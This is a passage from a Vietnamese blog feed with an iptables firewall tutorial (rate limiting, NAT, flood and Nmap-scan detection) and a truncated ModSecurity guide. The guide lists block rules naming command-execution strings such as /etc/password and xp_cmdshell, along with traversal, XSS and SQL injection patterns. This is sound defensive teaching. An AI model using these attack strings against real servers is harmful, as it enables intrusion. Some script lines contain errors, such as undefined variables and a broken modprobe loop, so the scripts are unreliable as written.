/&gt;# iptables -P INPUT DROP đặt chính sách cho chain INPUT là DROP&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -p tcp --syn -m state --state NEW -j ACCEPT chỉ chấp nhận các gói TCP mở kết nối đã set cờ SYN=1&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT không đóng các kết nối đang được thiết lập, đồng thời cũng cho phép mở các kết nối mới trong kết nối được thiết lập&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -p tcp -j DROP các gói TCP còn lại đều bị DROP&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Tùy chọn --limit, --limit-burst&lt;br /&gt;--limit-burst: mức đỉnh, tính bằng số packet&lt;br /&gt;&lt;br /&gt;--limit: tốc độ khi chạm mức đỉnh, tính bằng số packet/s(giây), m(phút), d(giờ) hoặc h(ngày)&lt;br /&gt;&lt;br /&gt;Mình lấy ví dụ cụ thể để bạn dễ hiểu:&lt;br /&gt;&lt;br /&gt;# iptables -N test&lt;br /&gt;# iptables -A test -m limit --limit-burst 5 --limit 2/m -j RETURN&lt;br /&gt;# iptables -A test -j DROP&lt;br /&gt;# iptables -A INPUT -i lo -p icmp --icmp-type echo-request -j test&lt;br /&gt;Đầu tiên lệnh iptables -N test để tạo một chain mới tên là test (table mặc định là filter). Tùy chọn -A test (append) để thêm luật mới vào chain test. Đối với chain test, mình giới hạn limit-burst ở mức 5 gói, limit là 2 gói/phút, nếu thỏa luật sẽ trở về (RETURN) còn không sẽ bị DROP. Sau đó mình nối thêm chain test vào chain INPUT với tùy chọn card mạng vào là lo, giao thức icmp, loại icmp là echo-request. Luật này sẽ giới hạn các gói PING tới lo là 2 gói/phút sau khi đã đạt tới 5 gói.&lt;br /&gt;&lt;br /&gt;Bạn thử ping đến localhost xem sao?&lt;br /&gt;&lt;br /&gt;$ ping -c 10 localhost&lt;br /&gt;&lt;br /&gt;Chỉ 5 gói đầu trong phút đầu tiên được chấp nhận, thỏa luật RETURN đó. Bây giờ đã đạt đến mức đỉnh là 5 gói, lập tức Iptables sẽ giới hạn PING tới lo là 2 gói trên mỗi phút bất chấp có bao nhiêu gói được PING tới lo đi nữa. Nếu trong phút tới không có gói nào PING tới, Iptables sẽ giảm limit đi 2 gói tức là tốc độ đang là 2 gói/phút sẽ tăng lên 4 gói/phút. Nếu trong phút nữa không có gói đến, limit sẽ giảm đi 2 nữa là trở về lại trạng thái cũ chưa đạt đến mức đỉnh 5 gói. Quá trình cứ tiếp tục như vậy. Bạn chỉ cần nhớ đơn giản là khi đã đạt tới mức đỉnh, tốc độ sẽ bị giới hạn bởi tham số--limit. Nếu trong một đơn vị thời gian tới không có gói đến, tốc độ sẽ tăng lên đúng bằng --limit đến khi trở lại trạng thái chưa đạt mức --limit-burst thì thôi.&lt;br /&gt;&lt;br /&gt;Để xem các luật trong Iptables bạn gõ lệnh $ iptables -L -nv (-L tất cả các luật trong tất cả các chain, table mặc định là filter, -n liệt kê ở dạng số, v để xem chi tiết)&lt;br /&gt;&lt;br /&gt;# iptables -L -nv&lt;br /&gt;Chain INPUT (policy ACCEPT 10 packets, 840 bytes)&lt;br /&gt;pkts bytes target prot opt in out source destination&lt;br /&gt;10 840 test icmp -- lo * 0.0.0.0/0 0.0.0.0/0 icmp type 8&lt;br /&gt;&lt;br /&gt;Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;pkts bytes target prot opt in out source destination&lt;br /&gt;&lt;br /&gt;Chain OUTPUT (policy ACCEPT 15 packets, 1260 bytes)&lt;br /&gt;pkts bytes target prot opt in out source destination&lt;br /&gt;&lt;br /&gt;Chain test (1 references)&lt;br /&gt;pkts bytes target prot opt in out source destination&lt;br /&gt;5 420 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0 limit: avg 2/min burst 5&lt;br /&gt;5 420 DROP all -- * * 0.0.0.0/0 0.0.0.0/0&lt;br /&gt;# iptables -Z reset counter&lt;br /&gt;# iptables -F flush luật&lt;br /&gt;# iptables -X xóa chain đã tạo&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Redirect cổng&lt;br /&gt;Iptables hổ trợ tùy chọn -j REDIRECT cho phép bạn đổi hướng cổng một cách dễ dàng. Ví dụ như SQUID đang listen trên cổng 3128/tcp. Để redirect cổng 80 đến cổng 3128 này bạn làm như sau:&lt;br /&gt;&lt;br /&gt;# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3128&lt;br /&gt;SNAT &amp; MASQUERADE&lt;br /&gt;&lt;br /&gt;Để tạo kết nối `transparent` giữa mạng LAN 192.168.0.1 với Internet bạn lập cấu hình cho tường lửa Iptables như sau:&lt;br /&gt;&lt;br /&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward cho phép forward các packet qua máy chủ đặt Iptables&lt;br /&gt;# iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 210.40.2.71 đổi IP nguồn cho các packet ra card mạng eth0 là 210.40.2.71. Khi nhận được packet vào từ Internet, Iptables sẽ tự động đổi IP đích 210.40.2.71 thành IP đích tương ứng của máy tính trong mạng LAN 192.168.0/24.&lt;br /&gt;&lt;br /&gt;Hoặc bạn có thể dùng MASQUERADE thay cho SNAT như sau:&lt;br /&gt;&lt;br /&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE &lt;br /&gt;&lt;br /&gt;(MASQUERADE thường được dùng khi kết nối đến Internet là pp0 và dùng địa chỉ IP động)&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Giả sử bạn đặt các máy chủ Proxy, Mail và DNS trong mạng DMZ. Để tạo kết nối trong suốt từ Internet vào các máy chủ này bạn là như sau:&lt;br /&gt;&lt;br /&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.2&lt;br /&gt;# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 25 -j DNAT --to-destination 192.168.1.3&lt;br /&gt;# iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j DNAT --to-destination 192.168.1.4&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;(sưu tập và chỉnh sửa )&lt;br /&gt;Phần II: Lập cấu hình Iptables cho máy chủ phục vụ Web&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Phần này mình sẽ trình bày qua ví dụ cụ thể và chỉ hướng dẫn các bạn lọc packet vào. Các packet `forward` và 'output' bạn tự làm nha.&lt;br /&gt;&lt;br /&gt;Giả sử như máy chủ phục vụ Web kết nối mạng trực tiếp vào Internet qua card mạng eth0, địa chỉ IP là 1.2.3.4. Bạn cần lập cấu hình tường lửa cho Iptables đáp ứng các yêu cầu sau:&lt;br /&gt;- cổng TCP 80 (chạy apache) mở cho mọi người truy cập web&lt;br /&gt;- cổng 21 (chạy proftpd) chỉ mở cho webmaster (dùng để upload file lên public_html)&lt;br /&gt;- cổng 22 (chạy openssh) chỉ mở cho admin (cung cấp shell `root` cho admin để nâng cấp &amp; patch lỗi cho server khi cần)&lt;br /&gt;- cổng UDP 53 (chạy tinydns) để phục vụ tên miền (đây chỉ là ví dụ)&lt;br /&gt;- chỉ chấp nhận ICMP PING tới với code=0x08, các loại packet còn lại đều bị từ chối.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 1: thiết lập các tham số cho nhân&lt;br /&gt;echo 1 &gt; /proc/sys/net/ipv4/tcp_syncookies&lt;br /&gt;echo 10 &gt; /proc/sys/net/ipv4/tcp_fin_timeout&lt;br /&gt;echo 1800 &gt; /proc/sys/net/ipv4/tcp_keepalive_time&lt;br /&gt;echo 0 &gt; /proc/sys/net/ipv4/tcp_window_scaling&lt;br /&gt;echo 0 &gt; /proc/sys/net/ipv4/tcp_sack&lt;br /&gt;echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts&lt;br /&gt;echo 0 &gt; /proc/sys/net/ipv4/conf/eth0/accept_source_route&lt;br /&gt;&lt;br /&gt;tcp_syncookies=1 bật chức năng chống DoS SYN qua syncookie của Linux&lt;br /&gt;tcp_fin_timeout=10 đặt thời gian timeout cho quá trình đóng kết nối TCP là 10 giây&lt;br /&gt;tcp_keepalive_time=1800 đặt thời gian giữ kết nối TCP là 1800 giây&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Các tham số khác bạn có thể xem chi tiết trong tài liệu đi kèm của nhân Linux.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 2: nạp các môđun cần thiết cho Iptables&lt;br /&gt;Để sử dụng Iptables, bạn cần phải nạp trước các môđun cần thiết. Ví dụ nếu bạn muốn dùng chức năng LOG trong Iptables, bạn phải nạp môđun ipt_LOG vào trước bằng lệnh # modprobe ipt_LOG.&lt;br /&gt;&lt;br /&gt;MODULES="ip_tables iptable_filter ipt_LOG ipt_limit ipt_REJECT ipt_state&lt;br /&gt;for i in $MODULES; do&lt;br /&gt;/sbin/modprobe $MODULES&lt;br /&gt;done&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 3: nguyên tắc đặt luật là "drop trước, accept sau"&lt;br /&gt;Đây là nguyên tắc mà bạn nên tuân theo. Đầu tiên hãy đóng hết các cổng, sau đó mở dần cách cổng cần thiết. Cách này tránh cho bạn gặp sai sót trong khi đặt luật cho Iptables.&lt;br /&gt;&lt;br /&gt;iptables -P INPUT DROP thả packet trước&lt;br /&gt;&lt;br /&gt;iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT giữ các kết nối hiện tại và chấp nhận các kết nối có liên quan&lt;br /&gt;&lt;br /&gt;iptables -A INPUT -i lo -s 127.0.0.1 -j ACCEPT chấp nhận các gói vào looback từ IP 127.0.0.1&lt;br /&gt;iptables -A INPUT -i lo -s 1.2.3.4 -j ACCEPT và 1.2.3.4&lt;br /&gt;&lt;br /&gt;BANNED_IP="10.0.0.0/8 192.168.0.0/16 172.16.0.0/12 224.0.0.0/4 240.0.0.0/5"&lt;br /&gt;for i in $BANNED_IP; do&lt;br /&gt;iptables -A INPUT -i eth0 -s $i -j DROP thả các gói dữ liệu đến từ các IP nằm trong danh sách cấm BANNER_IP&lt;br /&gt;done&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 4: lọc ICMP vào và chặn ngập lụt PING&lt;br /&gt;LOG của Iptables sẽ được ghi vào file /var/log/firewall.log. Bạn phải sửa lại cấu hình cho SYSLOG như sau:&lt;br /&gt;&lt;br /&gt;# vi /etc/syslog.conf&lt;br /&gt;kern.=debug /var/log/firewall.log&lt;br /&gt;# /etc/rc.d/init.d/syslogd restart&lt;br /&gt;&lt;br /&gt;Đối với các gói ICMP đến, chúng ta sẽ đẩy qua chain CHECK_PINGFLOOD để kiểm tra xem hiện tại đamg bị ngập lụt PING hay không, sau đó mới cho phép gói vào. Nếu đang bị ngập lụt PING, môđun LOG sẽ tiến hành ghi nhật kí ở mức giới hạn --limit $LOG_LIMIT và --limit-burst $LOG_LIMIT_BURST, các gói PING ngập lụt sẽ bị thả hết.&lt;br /&gt;&lt;br /&gt;LOG_LEVEL="debug"&lt;br /&gt;&lt;br /&gt;LOG_LIMIT=3/m&lt;br /&gt;LOG_LIMIT_BURST=1&lt;br /&gt;&lt;br /&gt;PING_LIMIT=500/s&lt;br /&gt;PING_LIMIT_BURST=100&lt;br /&gt;&lt;br /&gt;iptables -A CHECK_PINGFLOOD -m limit --limit $PING_LIMIT --limit-burst $PING_LIMIT_BURST -j RETURN&lt;br /&gt;iptables -A CHECK_PINGFLOOD -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=PINGFLOOD:warning a=DROP "&lt;br /&gt;iptables -A CHECK_PINGFLOOD -j DROP&lt;br /&gt;&lt;br /&gt;iptables -A INPUT -i eth0 -p icmp --icmp-type echo-request -j CHECK_PINGFLOOD&lt;br /&gt;iptables -A INPUT -i eth0 -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 5: reject quét cổng TCP và UDP&lt;br /&gt;Ở đây bạn tạo sẵn chain reject quét cổng, chúng ta sẽ đẩy vào chain INPUT sau. Đối với gói TCP, chúng ta reject bằng gói TCP với cờ SYN=1 còn đối với gói UDP, chúng ta sẽ reject bằng gói ICMP `port-unreachable`&lt;br /&gt;&lt;br /&gt;iptables-N REJECT_PORTSCAN&lt;br /&gt;iptables-A REJECT_PORTSCAN -p tcp -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=PORTSCAN:tcp a=REJECT "&lt;br /&gt;iptables-A REJECT_PORTSCAN -p udp -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=PORTSCAN:udp a=REJECT "&lt;br /&gt;iptables-A REJECT_PORTSCAN -p tcp -j REJECT --reject-with tcp-reset&lt;br /&gt;iptables-A REJECT_PORTSCAN -p udp -j REJECT --reject-with icmp-port-unreachable&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 6: phát hiện quét cổng bằng Nmap&lt;br /&gt;iptables-N DETECT_NMAP&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:XMAS a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:XMAS-PSH a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags ALL ALL -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:XMAS-ALL a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags ALL FIN -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:FIN a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:SYN-RST a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:SYN-FIN a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -p tcp --tcp-flags ALL NONE -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=NMAP:NULL a=DROP "&lt;br /&gt;iptables-A DETECT_NMAP -j DROP&lt;br /&gt;iptables-A INPUT -i eth0 -p tcp ! --syn -m state --state NEW -j DETECT_NMAP&lt;br /&gt;&lt;br /&gt;Đối với các gói TCP đến eth0 mở kết nối nhưng không đặt SYN=1 chúng ta sẽ chuyển sang chain DETECT_NMAP. Đây là những gói không hợp lệ và hầu như là quét cổng bằng nmap hoặc kênh ngầm. Chain DETECT_NMAP sẽ phát hiện ra hầu hết các kiểu quét của Nmap và tiến hành ghi nhật kí ở mức --limit $LOG_LIMIT và --limit-burst $LOG_LIMIT_BURST. Ví dụ để kiểm tra quét XMAS, bạn dùng tùy chọn --tcp-flags ALL FIN,URG,PSH nghĩa là 3 cờ FIN, URG và PSH được bật, các cờ khác đều bị tắt. Các gói qua chain DETECT_NMAP sau đó sẽ bị DROP hết.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 7: chặn ngập lụt SYN&lt;br /&gt;Gói mở TCP với cờ SYN được set 1 là hợp lệ nhưng không ngoại trừ khả năng là các gói SYN dùng để ngập lụt. Vì vậy, ở dây bạn đẩy các gói SYN còn lại qua chain CHECK_SYNFLOOD để kiểm tra ngập lụt SYN như sau:&lt;br /&gt;&lt;br /&gt;iptables-N CHECK_SYNFLOOD&lt;br /&gt;iptables-A CHECK_SYNFLOOD -m limit --limit $SYN_LIMIT --limit-burst $SYN_LIMIT_BURST -j RETURN&lt;br /&gt;iptables-A CHECK_SYNFLOOD -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=SYNFLOOD:warning a=DROP "&lt;br /&gt;iptables-A CHECK_SYNFLOOD -j DROP&lt;br /&gt;iptables-A INPUT -i eth0 -p tcp --syn -j CHECK_SYNFLOOD&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 8: giới hạn truy cập SSH cho admin&lt;br /&gt;SSH_IP="1.1.1.1"&lt;br /&gt;iptables -N SSH_ACCEPT&lt;br /&gt;iptables -A SSH_ACCEPT -m state --state NEW -j LOG --log-level $LOG_LEVEL --log-prefix "fp=SSH:admin a=ACCEPT "&lt;br /&gt;iptables -A SSH_ACCEPT -j ACCEPT&lt;br /&gt;iptables -N SSH_DENIED&lt;br /&gt;iptables -A SSH_DENIED -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=SSH:attempt a=REJECT "&lt;br /&gt;iptables -A SSH_DENIED -p tcp -j REJECT --reject-with tcp-reset&lt;br /&gt;for i in $SSH_IP; do&lt;br /&gt;iptables -A INPUT -i eth0 -p tcp -s $i --dport 22 -j SSH_ACCEPT&lt;br /&gt;done&lt;br /&gt;iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW -j SSH_DENIED&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 9: giới hạn FTP cho web-master&lt;br /&gt;FTP_IP="2.2.2.2"&lt;br /&gt;iptables -N FTP_ACCEPT&lt;br /&gt;iptables -A FTP_ACCEPT -m state --state NEW -j LOG --log-level $LOG_LEVEL --log-prefix "fp=FTP:webmaster a=ACCEPT "&lt;br /&gt;iptables -A FTP_ACCEPT -j ACCEPT&lt;br /&gt;iptables -N FTP_DENIED&lt;br /&gt;iptables -A FTP_DENIED -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=FTP:attempt a=REJECT "&lt;br /&gt;iptables -A FTP_DENIED -p tcp -j REJECT --reject-with tcp-reset&lt;br /&gt;for i in $FTP_IP; do&lt;br /&gt;iptables -A INPUT -i eth0 -p tcp -s $i --dport 21 -j FTP_ACCEPT&lt;br /&gt;done&lt;br /&gt;iptables -A INPUT -i eth0 -p tcp --dport 21 -m state --state NEW -j FTP_DENIED&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bước 10: lọc TCP vào&lt;br /&gt;iptables -N TCP_INCOMING&lt;br /&gt;iptables -A TCP_INCOMING -p tcp --dport 80 -j ACCEPT&lt;br /&gt;iptables -A TCP_INCOMING -p tcp -j REJECT_PORTSCAN&lt;br /&gt;iptables -A INPUT -i eth0 -p tcp -j TCP_INCOMING&lt;br /&gt;Bước 11: lọc UDP vào và chặn ngập lụt UDP&lt;br /&gt;iptables -N CHECK_UDPFLOOD&lt;br /&gt;iptables -A CHECK_UDPFLOOD -m limit --limit $UDP_LIMIT --limit-burst $UDP_LIMIT_BURST -j RETURN&lt;br /&gt;iptables -A CHECK_UDPFLOOD -m limit --limit $LOG_LIMIT --limit-burst $LOG_LIMIT_BURST -j LOG --log-level $LOG_LEVEL --log-prefix "fp=UDPFLOOD:warning a=DROP "&lt;br /&gt;iptables -A CHECK_UDPFLOOD -j DROP&lt;br /&gt;iptables -A INPUT -i eth0 -p udp -j CHECK_UDPFLOOD&lt;br /&gt;&lt;br /&gt;iptables -N UDP_INCOMING&lt;br /&gt;iptables -A UDP_INCOMING -p udp --dport 53 -j ACCEPT&lt;br /&gt;iptables -A UDP_INCOMING -p udp -j REJECT_PORTSCAN&lt;br /&gt;iptables -A INPUT -i eth0 -p udp -j UDP_INCOMING&lt;br /&gt;&lt;br /&gt;Để hạn chế khả năng bị DoS và tăng cường tốc độ cho máy chủ phục vụ web, bạn có thể dùng cách tải cân bằng (load-balacing) như sau:&lt;br /&gt;&lt;br /&gt;Cách 1: chạy nhiều máy chủ phục vụ web trên các địa chỉ IP Internet khác nhau. Ví dụ, ngoài máy chủ phục vụ web hiện tại 1.2.3.4, bạn có thể đầu tư thêm các máy chủ phục vụ web mới 1.2.3.2, 1.2.3.3, 1.2.3.4, 1.2.3.5. Điểm yếu của cách này là tốn nhiều địa chỉ IP Internet.&lt;br /&gt;&lt;br /&gt;Cách 2: đặt các máy chủ phục vụ web trong một mạng DMZ. Cách này tiết kiệm được nhiều địa chỉ IP nhưng bù lại bạn gateway Iptables 1.2.3.4 - 192.168.0.254 có thể load nặng hơn trước và yêu cầu bạn đầu tư tiền cho đường truyền mạng từ gateway ra Internet.&lt;br /&gt;&lt;br /&gt;Bạn dùng DNAT trên gateway 1.2.3.4 để chuyển tiếp các gói dữ liệu từ client đến một trong các máy chủ phục vụ web trong mạng DMZ hoặc mạng LAN như sau:&lt;br /&gt;&lt;br /&gt;# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.0.1-192.168.0.4&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Mình đã trình bày xong các bạn về cách cấu hình tường lửa Iptables trên Linux. Hi vọng là bạn có thể nắm được các vấn đề mà mình đã trình bày và có thể tự mình đặt luật cho Iptables để bảo vệ cho máy chủ của bạn. Chúc bạn thành công.&lt;br /&gt;(sưu tập và chỉnh sửa )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩ Chữ ký của ghost_vn ۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩&lt;br /&gt;&lt;br /&gt;url:http://haiphongit.com/forum/showthread.php?t=2831&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-2845483282500687978?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/2845483282500687978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=2845483282500687978' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2845483282500687978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2845483282500687978'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/thit-lp-tng-la-iptables-cho-linux.html' title='Thiết lập tường lửa Iptables cho Linux'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-467907062227959300</id><published>2008-09-11T21:31:00.002-07:00</published><updated>2008-09-12T00:26:50.120-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Mod Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Secure Apache'/><title type='text'>Phát hiện và chống xâm nhập Web Server với Mod Security</title><content type='html'>Phát hiện và chống xâm nhập Web Server với Mod Security&lt;br /&gt;1. giới thiệu về Mod_security&lt;br /&gt;ModSecurity là một bộ máy phát hiện và phòng chống xâm nhập dành cho các ứng dụng web (hoặc 1 web application firewall). Hoạt động như một module của máy chủ web Apache, mục đích của ModSecurity là tăng cường bảo mật cho các ứng dụng web, bảo vệ chúng khỏi các loại tấn công đã biết và chưa biết.&lt;br /&gt;&lt;br /&gt;Sau khi cài đặt Apache mặc định sẽ không có mod_security.Bạn phải download mod_security từ http://www.modsecurity.org .Phiên bản mới nhất hiện nay là 1.9. Mod_security dùng được cho cả apache 1.x và 2.x (trên cả windows ,*.nix …)&lt;br /&gt;&lt;br /&gt;2.Cài đặt và cấu hình:&lt;br /&gt;Việc install Mod_security tương đối đơn giản,sau khi đã download Binary packages về:&lt;br /&gt;Với apache 2.x: &lt;br /&gt;Bạn chỉ việc copy file mod_security.so vào thư mục modules/ của apache và mở file httpd.conf thêm vào dòng sau:&lt;br /&gt;LoadModule security_module modules/mod_security.so&lt;br /&gt;là có đã hoàn thành bước cài đặt&lt;br /&gt;Với apache 1.x:&lt;br /&gt;Ban copy file mod_security.so (*.nix ) hoăc mod_security.dll (windows) vào thư mục libexec/ và mở file httpd.conf thêm vào dòng sau:&lt;br /&gt;LoadModule security_module libexec/mod_security.so&lt;br /&gt;Để sử dụng mod_security bạn phải cấu hình cho nó( cái này tùy vào mỗi hệ thống mà sẽ dẫn đến những cấu hình khác nhau). Trước tiên bạn mở file httpd.conf ra và thêm vào dòng sau:&lt;br /&gt;&lt;IfModule mod_security.c&gt;&lt;br /&gt;# cấu hình cho mod_security&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;hoặc bạn có thể tạo riêng một file là modsecurity.conf trong thư mục conf cua apache và include nó tù file cấu hình của apache httpd.conf:&lt;br /&gt;&lt;IfModule mod_security.c&gt;&lt;br /&gt;include conf/modsecurity.conf&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;Sau khi cài đặt mặc định bộ máy filtering sẽ disable ( muốn dùng mod_security chúng ta phải bật nó lên).&lt;br /&gt;Ban chỉ việc thêm vào dòng sau trong file modsecurity.conf:&lt;br /&gt;SecFilterEngine On ( or Off , DynamicOnly )&lt;br /&gt;Sau đây là cách cấu hình cho mod_security để hạn chế những kiểu tấn công cơ bản:&lt;br /&gt;&lt;br /&gt;#Chống lại kiểu tấn công thực thi các lệnh:&lt;br /&gt;SecFilter /etc/password&lt;br /&gt;SecFilter /bin/ls&lt;br /&gt;#Chống lại kiểu tấn công Directory traversal&lt;br /&gt;SecFilter "\.\./"&lt;br /&gt;#Lọc các kí tự hay dùng trong shell code&lt;br /&gt;SecFilterForceByteRange 32 126&lt;br /&gt;#Lọc các kí tụ hay dùng trong XSS attack&lt;br /&gt;SecFilter "&lt;(.|\n)+&gt;"&lt;br /&gt;SecFilter "&lt;[[:space:]]*script"&lt;br /&gt;#chống lại kiểu tấn công XSS thông qua PHP session cookie&lt;br /&gt;SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$"&lt;br /&gt;SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$"&lt;br /&gt;#Hạn chế sqlinjection attack&lt;br /&gt;SecFilter "delete[[:space:]]+from"&lt;br /&gt;SecFilter "insert[[:space:]]+into"&lt;br /&gt;SecFilter "select.+from"&lt;br /&gt;#Hạn chế MSSQL injection attack&lt;br /&gt;SecFilter xp_enumdsn&lt;br /&gt;SecFilter xp_filelist&lt;br /&gt;SecFilter xp_availablemedia&lt;br /&gt;SecFilter xp_cmdshell&lt;br /&gt;SecFilter xp_regread&lt;br /&gt;SecFilter xp_regwrite&lt;br /&gt;SecFilter xp_regdeletekey&lt;br /&gt;#chống spam mail&lt;br /&gt;&lt;Location /cgi-bin/FormMail&gt;&lt;br /&gt;SecFilterSelective "ARG_recipient" "!@modsecurity\.org$"&lt;br /&gt;&lt;/Location&gt;&lt;br /&gt;#phát hiện xâm nhập&lt;br /&gt;SecFilterSelective OUTPUT "Volume Serial Number"&lt;br /&gt;SecFilterSelective OUTPUT "Command completed"&lt;br /&gt;SecFilterSelective OUTPUT "Bad command or filename"&lt;br /&gt;SecFilterSelective OUTPUT "file(s) copied"&lt;br /&gt;SecFilterSelective OUTPUT "Index of /cgi-bin/"&lt;br /&gt;SecFilterSelective OUTPUT ".*uid\=\("&lt;br /&gt;#Nếu muốn ghi lại log&lt;br /&gt;SecAuditLog logs/audit.log&lt;br /&gt;SecFilterDebugLog logs/modsec.log&lt;br /&gt;SecFilterDebugLevel 0&lt;br /&gt;#Muốn mod_security phân tích POST request, dùng:&lt;br /&gt;SecFilterScanPOST On&lt;br /&gt;&lt;br /&gt;# để mod_security *kiểm tra* URL encoding và UTF-8. &lt;br /&gt;SecFilterCheckURLEncoding On &lt;br /&gt;SecFilterCheckUnicodeEncoding On &lt;br /&gt;Lưu ý:nếu bạn dùng SecFilterCheckUnicodeEncoding On, một số bộ gõ hay input tiếng Việt sẽ không hoạt động, một số bộ gõ hay input tiếng Việt sẽ không hoạt động&lt;br /&gt;Nếu bạn chạy web với nhiều virtualhost và muốn một site trong nhiều sites không dùng mod_security, bạn có thể dùng:&lt;br /&gt;SecFilterSelective SERVERNAME "^tên_của_web_site$" nolog,allow&lt;br 